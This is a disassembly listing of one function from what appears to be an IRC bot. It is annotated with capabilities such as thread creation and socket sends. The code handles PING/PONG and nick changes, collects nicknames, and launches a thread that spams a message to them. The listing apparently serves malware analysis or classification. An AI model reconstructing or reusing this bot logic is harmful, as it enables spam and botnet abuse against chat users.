Function at 0x40cafe
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov dword [esp + 4], 0x421520
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 1
jmp 0x40cb45
mov dword [esp + 4], 0x421520
mov dword [esp], 0
call sym._strtok
mov edx, dword [ebp - 0xc]
mov dword [ebp + edx*4 - 0x2c], eax
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 7
jle 0x40cb26
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40cb63
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x40cb63
mov eax, 1
jmp 0x40ce23
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], 0x424951
call sym._strcmp
test eax, eax
jne 0x40cbd0
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], str.PONG__s_n
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x22c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x40ce1e
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x424973
call sym._strcmp
test eax, eax
je 0x40cc02
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x424977
call sym._strcmp
test eax, eax
jne 0x40cc87
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sym._clone_nick
lea eax, [ebp - 0x42c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NICK__s_n
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x22c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x22c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
jmp 0x40ce1e
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x425282
call sym._strcmp
test eax, eax
jne 0x40cd02
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40cd02
mov eax, dword [0x430a20]
cmp eax, 0x5db
jg 0x40cd02
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strlen
cmp eax, 0x62
ja 0x40cd02
mov dword [esp], 0x455440
call sym._strlen
cmp eax, 2
jbe 0x40cd02
mov eax, dword [ebp - 0x10]
mov edx, dword [0x430a20]
imul edx, edx, 0x64
add edx, 0x430a40
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
mov eax, dword [0x430a20]
add eax, 1
mov dword [0x430a20], eax
jmp 0x40ce1e
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x425286
call sym._strcmp
test eax, eax
jne 0x40ce1e
mov eax, dword [0x430a20]
test eax, eax
jle 0x40ce1e
mov dword [esp], 0x455440
call sym._strlen
cmp eax, 2
jbe 0x40ce1e
mov dword [esp], 0
call sym._get_emty_thread
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40cd5e
mov eax, 0
jmp 0x40ce23
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._clearthread
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x41c
add eax, 0x45581c
mov dword [eax], 1
mov eax, dword [0x430a20]
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x41c
add edx, 0x455720
mov dword [esp + 0xc], 0x455440
mov dword [esp + 8], eax
mov dword [esp + 4], str.Spam__i_nicks_message__s
mov dword [esp], edx
call sym._sprintf
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x41c
add eax, 0x210
add eax, 0x455720
add eax, 2
mov dword [esp + 4], 0x455440
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x430]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], sym._spam_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x41c
add edx, 0x455820
mov dword [edx], eax
mov eax, 0
leave
ret